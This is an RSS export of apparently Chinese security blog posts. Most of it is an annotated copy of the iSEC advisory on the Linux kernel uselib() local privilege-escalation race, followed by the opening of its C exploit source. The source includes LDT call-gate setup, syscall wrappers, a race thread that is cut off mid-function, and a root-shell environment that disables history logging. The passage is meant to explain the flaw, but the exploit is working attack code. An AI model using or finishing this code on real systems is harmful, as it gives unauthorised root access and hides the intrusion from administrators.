FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS &lt;command
line&gt;<br>
&nbsp;&nbsp;&nbsp; 89: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 90: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS &lt;command
line&gt;<br>
&nbsp;&nbsp;&nbsp; 91: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
&lt;built-in&gt;<br>
&nbsp;&nbsp;&nbsp; 92: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS
/usr/src/packages/BUILD/g<br>
&nbsp;&nbsp;&nbsp; 93: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS t.c<br>
&nbsp;&nbsp;&nbsp; 94: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0
FILE&nbsp;&nbsp;&nbsp; LOCAL&nbsp; DEFAULT&nbsp; ABS elf-init.c<br>
&nbsp;&nbsp;&nbsp; 95: 08049574&nbsp;&nbsp;&nbsp;&nbsp; 0
OBJECT&nbsp; GLOBAL DEFAULT&nbsp;&nbsp; 18 _DYNAMIC<br>
&nbsp;&nbsp;&nbsp; 96: 08048550&nbsp;&nbsp;&nbsp;&nbsp; 4
OBJECT&nbsp; GLOBAL DEFAULT&nbsp;&nbsp; 15 _fp_hw<br>
&nbsp;&nbsp;&nbsp; 97: 08049564&nbsp;&nbsp;&nbsp;&nbsp; 0
NOTYPE&nbsp; GLOBAL DEFAULT&nbsp; ABS __fini_array_end<br>
&nbsp;&nbsp;&nbsp; 98: 08049568&nbsp;&nbsp;&nbsp;&nbsp; 0
OBJECT&nbsp; GLOBAL HIDDEN&nbsp;&nbsp; 16 __dso_handle<br>
&nbsp;&nbsp;&nbsp; 99: 08048440&nbsp;&nbsp;&nbsp; 98
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp;&nbsp; 13
__libc_csu_fini<br>
&nbsp;&nbsp; 100: 080482cc&nbsp;&nbsp;&nbsp;&nbsp; 0
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp;&nbsp; 11 _init<br>
&nbsp;&nbsp; 101: 08048340&nbsp;&nbsp;&nbsp;&nbsp; 0
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp;&nbsp; 13 _start<br>
&nbsp;&nbsp; 102: 00000000&nbsp;&nbsp; 600 FUNC&nbsp;&nbsp;&nbsp;
GLOBAL DEFAULT&nbsp; UND sleep@@GLIBC_2.0<br>
&nbsp;&nbsp; 103: 08049564&nbsp;&nbsp;&nbsp;&nbsp; 0 NOTYPE&nbsp;
GLOBAL DEFAULT&nbsp; ABS __fini_array_start<br>
&nbsp;&nbsp; 104: 080484b0&nbsp;&nbsp;&nbsp; 88
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp;&nbsp; 13
__libc_csu_init<br>
&nbsp;&nbsp; 105: 08049670&nbsp;&nbsp;&nbsp;&nbsp; 0 NOTYPE&nbsp;
GLOBAL DEFAULT&nbsp; ABS __bss_start<br>
&nbsp;&nbsp; 106: 080483fc&nbsp;&nbsp;&nbsp; 67
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp;&nbsp; 13 main<br>
&nbsp;&nbsp; 107: 00000000&nbsp;&nbsp; 232 FUNC&nbsp;&nbsp;&nbsp;
GLOBAL DEFAULT&nbsp; UND __libc_start_main@@GLIBC_<br>
&nbsp;&nbsp; 108: 08049564&nbsp;&nbsp;&nbsp;&nbsp; 0 NOTYPE&nbsp;
GLOBAL DEFAULT&nbsp; ABS __init_array_end<br>
&nbsp;&nbsp; 109: 08049564&nbsp;&nbsp;&nbsp;&nbsp; 0 NOTYPE&nbsp;
WEAK&nbsp;&nbsp; DEFAULT&nbsp;&nbsp; 16 data_start<br>
&nbsp;&nbsp; 110: 00000000&nbsp;&nbsp;&nbsp; 54
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp; UND
printf@@GLIBC_2.0<br>
&nbsp;&nbsp; 111: 08048534&nbsp;&nbsp;&nbsp;&nbsp; 0
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp;&nbsp; 14 _fini<br>
&nbsp;&nbsp; 112: 08049670&nbsp;&nbsp;&nbsp;&nbsp; 0 NOTYPE&nbsp;
GLOBAL DEFAULT&nbsp; ABS _edata<br>
&nbsp;&nbsp; 113: 08048508&nbsp;&nbsp;&nbsp;&nbsp; 0
FUNC&nbsp;&nbsp;&nbsp; GLOBAL HIDDEN&nbsp;&nbsp; 13
__i686.get_pc_thunk.bx<br>
&nbsp;&nbsp; 114: 08049650&nbsp;&nbsp;&nbsp;&nbsp; 0 OBJECT&nbsp;
GLOBAL DEFAULT&nbsp;&nbsp; 22 _GLOBAL_OFFSET_TABLE_<br>
&nbsp;&nbsp; 115: 08049674&nbsp;&nbsp;&nbsp;&nbsp; 0 NOTYPE&nbsp;
GLOBAL DEFAULT&nbsp; ABS _end<br>
&nbsp;&nbsp; 116: 08049564&nbsp;&nbsp;&nbsp;&nbsp; 0 NOTYPE&nbsp;
GLOBAL DEFAULT&nbsp; ABS __init_array_start<br>
&nbsp;&nbsp; 117: 08048554&nbsp;&nbsp;&nbsp;&nbsp; 4 OBJECT&nbsp;
GLOBAL DEFAULT&nbsp;&nbsp; 15 _IO_stdin_used<br>
&nbsp;&nbsp; 118: 00000000&nbsp;&nbsp;&nbsp; 49
FUNC&nbsp;&nbsp;&nbsp; GLOBAL DEFAULT&nbsp; UND
sprintf@@GLIBC_2.0<br>
&nbsp;&nbsp; 119: 08049564&nbsp;&nbsp;&nbsp;&nbsp; 0 NOTYPE&nbsp;
GLOBAL DEFAULT&nbsp;&nbsp; 16 __data_start<br>
&nbsp;&nbsp; 120: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 NOTYPE&nbsp;
WEAK&nbsp;&nbsp; DEFAULT&nbsp; UND _Jv_RegisterClasses<br>
&nbsp;&nbsp; 121: 00000000&nbsp;&nbsp;&nbsp;&nbsp; 0 NOTYPE&nbsp;
WEAK&nbsp;&nbsp; DEFAULT&nbsp; UND __gmon_start__<br>
<br>
]]></description><guid>http://www.i170.com/Article/8715</guid><trackback:ping>http://www.i170.com/Article/8715/trackback</trackback:ping><comments>http://www.i170.com/Article/8715#comment</comments><wfw:commentRss>http://www.i170.com/Article/8715/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/8653</link><title><![CDATA[Linux kernel uselib() 漏洞利用程序注释]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Thu, 24 Nov 2005 17:29:54  +0800</pubDate><description><![CDATA[最近和coolq讨论了一下isec公布的uselib漏洞，越发感觉内核漏洞的利用之不易。对于这个uselib漏洞，isec的发布信息中对其的关键exploit点讲的非常含糊（也许是他们故意有所保留），其附带的exploit程序也不是很容易阅读，经过和coolq的讨论和仔细阅读内核相关代码后，终于把这个exploit的关键部分搞懂。下面是isec的发布信息，在其附带代码的关键地方添加了一些注释，虽然不多，但应该足够帮助理解这个kernel漏洞的利用技术了。<br>
<br>
Synopsis:&nbsp; Linux kernel uselib() privilege elevation<br>
Product:&nbsp;&nbsp; Linux kernel<br>
Version:&nbsp;&nbsp; 2.2 all versions, 2.4 up to and including
2.4.29-pre3, 2.6 up<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to and
including 2.6.10<br>
Vendor:&nbsp;&nbsp;&nbsp; http://www.kernel.org/<br>
URL:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
http://isec.pl/vulnerabilities/isec-0021-uselib.txt<br>
CVE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CAN-2004-1235<br>
Author:&nbsp;&nbsp;&nbsp; Paul Starzetz &lt;ihaquer@isec.pl&gt;<br>
Date:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jan 07, 2005<br>
Updated:&nbsp;&nbsp; Jan 09, 2005<br>
<p class="partingline">[separator]</p>
<br>
<br>
Issue:<br>
======<br>
<br>
Locally&nbsp; exploitable&nbsp; flaws&nbsp; have&nbsp; been found
in the Linux binary format<br>
loaders'&nbsp; uselib()&nbsp; functions&nbsp; that&nbsp;
allow&nbsp; local&nbsp; users&nbsp; to&nbsp; gain&nbsp; root<br>
privileges.<br>
<br>
<br>
Details:<br>
========<br>
<br>
The Linux kernel provides a binary format loader layer to load
(execute)<br>
programs of different binary formats like ELF or&nbsp; a.out&nbsp;
and&nbsp; more.&nbsp; The<br>
kernel&nbsp;&nbsp; also&nbsp;&nbsp; provides&nbsp;&nbsp; a&nbsp;
function&nbsp; named&nbsp; sys_uselib()&nbsp; to&nbsp; load&nbsp;
a<br>
corresponding library.&nbsp; This&nbsp; function&nbsp; is&nbsp;
dispatched&nbsp; to&nbsp; the&nbsp; current<br>
process's&nbsp; binary&nbsp; format&nbsp; handler&nbsp; and is
basically a simplified mmap()<br>
coupled with some header parsing code.<br>
<br>
An analyze of the uselib function load_elf_library()&nbsp;
from&nbsp; binfmt_elf.c<br>
revealed a flaw in the handling of the library's brk segment (VMA).
That<br>
segment is created with the&nbsp; current-&gt;mm-&gt;mmap_sem&nbsp;
semaphore&nbsp; NOT&nbsp; held<br>
while&nbsp; modifying&nbsp; the&nbsp; memory layout of the calling
process. This can be<br>
used to disturb the memory management and gain elevated privileges.
Also<br>
the binfmt_aout binary format loader code is affected in the same
way.<br>
<br>
<br>
Discussion:<br>
===========<br>
<br>
The&nbsp; vulnerable&nbsp; code&nbsp; resides&nbsp; for&nbsp;
example&nbsp; in fs/binfmt_elf.c in your<br>
kernel source code tree:<br>
<br>
static int load_elf_library(struct file *file)<br>
{<br>
[904]&nbsp; down_write(&amp;current-&gt;mm-&gt;mmap_sem);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; error = do_mmap(file,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ELF_PAGESTART(elf_phdata-&gt;p_vaddr),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(elf_phdata-&gt;p_filesz +<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ELF_PAGEOFFSET(elf_phdata-&gt;p_vaddr)),<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
PROT_READ | PROT_WRITE | PROT_EXEC,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(elf_phdata-&gt;p_offset -<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ELF_PAGEOFFSET(elf_phdata-&gt;p_vaddr)));<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
up_write(&amp;current-&gt;mm-&gt;mmap_sem);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (error !=
ELF_PAGESTART(elf_phdata-&gt;p_vaddr))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
goto out_free_ph;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; elf_bss =
elf_phdata-&gt;p_vaddr + elf_phdata-&gt;p_filesz;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; padzero(elf_bss);<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len =
ELF_PAGESTART(elf_phdata-&gt;p_filesz + elf_phdata-&gt;p_vaddr +
ELF_MIN_ALIGN - 1);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bss = elf_phdata-&gt;p_memsz +
elf_phdata-&gt;p_vaddr;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (bss &gt; len)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
do_brk(len, bss - len);<br>
<br>
The line numbers are all valid for the 2.4.28 kernel version. As
can&nbsp; be<br>
seen&nbsp; the&nbsp; mmap_sem&nbsp; is&nbsp; released&nbsp; prior
to calling do_brk() in order to<br>
create the data section of the ELF library. On the other&nbsp;
hand,&nbsp; looking<br>
into&nbsp; the code of sys_brk() from mm/mmap.c reveals that
do_brk() must be<br>
called with the mmap semaphore held.<br>
<br>
A short look into the code of do_brk() shows that:<br>
<br>
[1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!vma)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -ENOMEM;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_mm = mm;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_start = addr;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_end = addr +
len;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_flags = flags;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_page_prot =
protection_map[flags &amp; 0x0f];<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_ops = NULL;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_pgoff = 0;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_file = NULL;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-&gt;vm_private_data =
NULL;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma_link(mm, vma, prev,
rb_link, rb_parent);<br>
<br>
where&nbsp;&nbsp; rb_link&nbsp;&nbsp; and&nbsp;&nbsp;
rb_parent&nbsp;&nbsp; were&nbsp;&nbsp; both&nbsp;&nbsp;
found&nbsp;&nbsp;&nbsp; by&nbsp;&nbsp;&nbsp; calling<br>
find_vma_prepare().&nbsp; Obviously,&nbsp; if&nbsp; the
kmem_cache_alloc() call sleeps,<br>
the newly created VMA descriptor&nbsp; may&nbsp; be&nbsp;
inserted&nbsp; at&nbsp; wrong&nbsp; position<br>
because the process's VMA list and the VMA RB-tree may have been
changed<br>
by another thread. This is absolutely enough to gain root
privileges.<br>
<br>
We&nbsp; have&nbsp; found&nbsp; at&nbsp; least&nbsp; three&nbsp;
different&nbsp; ways&nbsp;&nbsp; to&nbsp;&nbsp; exploit&nbsp;&nbsp;
this<br>
vulnerability.&nbsp; The&nbsp; race condition can be easily won by
consuming a big<br>
amount of memory. The code attached uses a similar&nbsp;
technique&nbsp; like&nbsp; the<br>
do_brk exploit and uses a LDT call gate to gain CPL0 privileges.
However<br>
another exploitation vectors exist: through page reference
counters&nbsp; and<br>
'ghost PTEs'.<br>
<br>
<br>
Impact:<br>
=======<br>
<br>
Unprivileged&nbsp; local users can gain elevated (root) privileges.
Since the<br>
vulnerability permits&nbsp; privilege 0&nbsp; ring code execution,
users&nbsp; may also<br>
break out from virtual machines like UML (user mode Linux).<br>
<br>
<br>
Credits:<br>
========<br>
<br>
Paul&nbsp; Starzetz&nbsp; &lt;ihaquer@isec.pl&gt;&nbsp; has&nbsp;
identified the vulnerability and<br>
performed further research. COPYING, DISTRIBUTION, AND&nbsp;
MODIFICATION&nbsp; OF<br>
INFORMATION&nbsp; PRESENTED&nbsp; HERE&nbsp; IS ALLOWED ONLY WITH
EXPRESS PERMISSION OF<br>
ONE OF THE AUTHORS.<br>
<br>
<br>
Disclaimer:<br>
===========<br>
<br>
This document and all the information it contains are provided
"as&nbsp; is",<br>
for&nbsp; educational&nbsp; purposes&nbsp; only,&nbsp; without
warranty of any kind, whether<br>
express or implied.<br>
<br>
The authors reserve the right not to be responsible for the&nbsp;
topicality,<br>
correctness,&nbsp; completeness&nbsp; or&nbsp; quality&nbsp; of the
information&nbsp; provided in<br>
this document. Liability claims regarding damage caused by&nbsp;
the&nbsp; use&nbsp; of<br>
any&nbsp; information&nbsp; provided,&nbsp; including&nbsp; any
kind of information which is<br>
incomplete or incorrect, will therefore be rejected.<br>
<br>
<br>
Appendix:<br>
=========<br>
<br>
/*<br>
&nbsp;*&nbsp;&nbsp;&nbsp; binfmt_elf uselib VMA insert race
vulnerability<br>
&nbsp;*&nbsp;&nbsp;&nbsp; v1.09<br>
&nbsp;*&nbsp;&nbsp;&nbsp; tested only on 2.4.x and gcc 2.96<br>
&nbsp;*<br>
&nbsp;*&nbsp;&nbsp;&nbsp; gcc -O2 -fomit-frame-pointer elflbl.c -o
elflbl<br>
&nbsp;*<br>
&nbsp;*&nbsp;&nbsp;&nbsp; Copyright (c) 2004&nbsp; iSEC Security
Research. All Rights Reserved.<br>
&nbsp;*<br>
&nbsp;*&nbsp;&nbsp;&nbsp; THIS PROGRAM IS FOR EDUCATIONAL PURPOSES
*ONLY* IT IS PROVIDED "AS IS"<br>
&nbsp;*&nbsp;&nbsp;&nbsp; AND WITHOUT ANY WARRANTY. COPYING,
PRINTING, DISTRIBUTION, MODIFICATION<br>
&nbsp;*&nbsp;&nbsp;&nbsp; WITHOUT PERMISSION OF THE AUTHOR IS
STRICTLY PROHIBITED.<br>
&nbsp;*<br>
&nbsp;*/<br>
<br>
<br>
#define _GNU_SOURCE<br>
<br>
#include &lt;stdio.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;string.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;errno.h&gt;<br>
#include &lt;sched.h&gt;<br>
#include &lt;syscall.h&gt;<br>
#include &lt;limits.h&gt;<br>
<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/wait.h&gt;<br>
#include &lt;sys/time.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;sys/sysinfo.h&gt;<br>
<br>
#include &lt;linux/elf.h&gt;<br>
#include &lt;linux/linkage.h&gt;<br>
<br>
#include &lt;asm/page.h&gt;<br>
#include &lt;asm/ldt.h&gt;<br>
#include &lt;asm/segment.h&gt;<br>
<br>
#define str(s) #s<br>
#define xstr(s) str(s)<br>
<br>
#ifndef MREMAP_MAYMOVE<br>
#define MREMAP_MAYMOVE&nbsp; 0x01<br>
#endif<br>
<br>
//&nbsp;&nbsp;&nbsp; temp lib location<br>
#define LIBNAME &nbsp;&nbsp;&nbsp; "/dev/shm/_elf_lib"<br>
<br>
//&nbsp;&nbsp;&nbsp; shell name<br>
#define&nbsp;&nbsp;&nbsp; SHELL&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; "/bin/bash"<br>
<br>
//&nbsp;&nbsp;&nbsp; time delta to detect race<br>
#define RACEDELTA&nbsp;&nbsp;&nbsp; 5000<br>
<br>
//&nbsp;&nbsp;&nbsp; if you have more deadbabes in memory, change
this<br>
#define MAGIC&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 0xdeadbabe<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; do not touch<br>
#define&nbsp;&nbsp;&nbsp; SLAB_THRSH&nbsp;&nbsp;&nbsp; 128<br>
#define&nbsp;&nbsp;&nbsp; SLAB_PER_CHLD&nbsp;&nbsp;&nbsp; (INT_MAX
- 1)<br>
#define LIB_SIZE&nbsp;&nbsp;&nbsp; ( PAGE_SIZE * 4 )<br>
#define STACK_SIZE&nbsp;&nbsp;&nbsp; ( PAGE_SIZE * 4 )<br>
<br>
#define LDT_PAGES&nbsp;&nbsp;&nbsp; (
(LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )<br>
<br>
#define ENTRY_GATE&nbsp;&nbsp;&nbsp; ( LDT_ENTRIES-1 )<br>
#define SEL_GATE&nbsp;&nbsp;&nbsp; ( (ENTRY_GATE&lt;&lt;3)|0x07
)<br>
<br>
#define ENTRY_LCS&nbsp;&nbsp;&nbsp; ( ENTRY_GATE-2 )<br>
#define SEL_LCS&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; (
(ENTRY_LCS&lt;&lt;3)|0x04 )<br>
<br>
#define ENTRY_LDS&nbsp;&nbsp;&nbsp; ( ENTRY_GATE-1 )<br>
#define SEL_LDS&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; (
(ENTRY_LDS&lt;&lt;3)|0x04 )<br>
<br>
#define kB&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; * 1024<br>
#define MB&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; * 1024 kB<br>
#define GB&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; * 1024 MB<br>
<br>
#define TMPLEN&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 256<br>
#define PGD_SIZE&nbsp;&nbsp;&nbsp; ( PAGE_SIZE*1024 )<br>
<br>
<br>
extern char **environ;<br>
<br>
static char cstack[STACK_SIZE];<br>
static char name[TMPLEN];<br>
static char line[TMPLEN];<br>
<br>
<br>
static volatile int<br>
&nbsp;&nbsp;&nbsp; val = 0,<br>
&nbsp;&nbsp;&nbsp; go = 0,<br>
&nbsp;&nbsp;&nbsp; finish = 0,<br>
&nbsp;&nbsp;&nbsp; scnt = 0,<br>
&nbsp;&nbsp;&nbsp; ccnt=0,<br>
&nbsp;&nbsp;&nbsp; delta = 0,<br>
&nbsp;&nbsp;&nbsp; delta_max = RACEDELTA,<br>
&nbsp;&nbsp;&nbsp; map_flags = PROT_WRITE|PROT_READ;<br>
<br>
<br>
static int<br>
&nbsp;&nbsp;&nbsp; fstop=0,<br>
&nbsp;&nbsp;&nbsp; silent=0,<br>
&nbsp;&nbsp;&nbsp; pidx,<br>
&nbsp;&nbsp;&nbsp; pnum=0,<br>
&nbsp;&nbsp;&nbsp; smp_max=0,<br>
&nbsp;&nbsp;&nbsp; smp,<br>
&nbsp;&nbsp;&nbsp; wtime=2,<br>
&nbsp;&nbsp;&nbsp; cpid,<br>
&nbsp;&nbsp;&nbsp; uid,<br>
&nbsp;&nbsp;&nbsp; task_size,<br>
&nbsp;&nbsp;&nbsp; old_esp,<br>
&nbsp;&nbsp;&nbsp; lib_addr,<br>
&nbsp;&nbsp;&nbsp; map_count=0,<br>
&nbsp;&nbsp;&nbsp; map_base=0,<br>
&nbsp;&nbsp;&nbsp; map_addr,<br>
&nbsp;&nbsp;&nbsp; addr_min,<br>
&nbsp;&nbsp;&nbsp; addr_max,<br>
&nbsp;&nbsp;&nbsp; vma_start,<br>
&nbsp;&nbsp;&nbsp; vma_end,<br>
&nbsp;&nbsp;&nbsp; max_page,<br>
&nbsp;&nbsp;&nbsp; ram_limit=0;<br>
<br>
<br>
static struct timeval tm1, tm2;<br>
<br>
static char *myenv[] = {"TERM=vt100",<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
"HISTFILE=/dev/null",<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; NULL};<br>
<br>
static char hellc0de[] =
"\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
"\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";<br>
<br>
<br>
static char *pagemap, *libname=LIBNAME, *shellname=SHELL;<br>
<br>
<br>
<br>
#define __NR_sys_gettimeofday&nbsp;&nbsp;&nbsp;
__NR_gettimeofday<br>
#define __NR_sys_sched_yield&nbsp;&nbsp;&nbsp; __NR_sched_yield<br>
#define __NR_sys_madvise&nbsp;&nbsp;&nbsp; __NR_madvise<br>
#define __NR_sys_uselib&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
__NR_uselib<br>
#define __NR_sys_mmap2&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
__NR_mmap2<br>
#define __NR_sys_munmap&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
__NR_munmap<br>
#define __NR_sys_mprotect&nbsp;&nbsp;&nbsp; __NR_mprotect<br>
#define __NR_sys_mremap&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
__NR_mremap<br>
<br>
inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d,
int, e, int, f);<br>
<br>
inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d,
int, e);<br>
<br>
inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);<br>
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);<br>
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int,
bytecount );<br>
<br>
inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);<br>
inline _syscall2(int, sys_munmap, int, a, int, b);<br>
<br>
inline _syscall1(int, sys_uselib, char*, l);<br>
<br>
inline _syscall0(void, sys_sched_yield);<br>
<br>
<br>
<br>
inline int tmdiff(struct timeval *t1, struct timeval *t2)<br>
{<br>
int r;<br>
<br>
&nbsp;&nbsp;&nbsp; r=t2-&gt;tv_sec - t1-&gt;tv_sec;<br>
&nbsp;&nbsp;&nbsp; r*=1000000;<br>
&nbsp;&nbsp;&nbsp; r+=t2-&gt;tv_usec - t1-&gt;tv_usec;<br>
return r;<br>
}<br>
<br>
<br>
void fatal(const char *message, int critical)<br>
{<br>
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);<br>
<br>
&nbsp;&nbsp;&nbsp; if(!errno) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stdout, "\n[-]
FAILED: %s ", message);<br>
&nbsp;&nbsp;&nbsp; } else {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fprintf(stdout, "\n[-]
FAILED: %s (%s) ", message,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; (char*)
(strerror(errno)) );<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; if(critical)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf("\nCRITICAL, entering
endless loop");<br>
&nbsp;&nbsp;&nbsp; printf("\n");<br>
&nbsp;&nbsp;&nbsp; fflush(stdout);<br>
<br>
&nbsp;&nbsp;&nbsp; unlink(libname);<br>
&nbsp;&nbsp;&nbsp; kill(cpid, SIGKILL);<br>
&nbsp;&nbsp;&nbsp; for(;;) kill(0, sig);<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; try to race do_brk sleeping on kmalloc, may
need modification for SMP<br>
int raceme(void* v)<br>
{<br>
&nbsp;&nbsp;&nbsp; finish=1; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
// 与exploitme主线程同步使用，通知其raceme已经准备好。<br>
<br>
&nbsp;&nbsp;&nbsp; for(;;) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; errno = 0;<br>
<br>
//&nbsp;&nbsp;&nbsp; check if raced:<br>
recheck:<br>
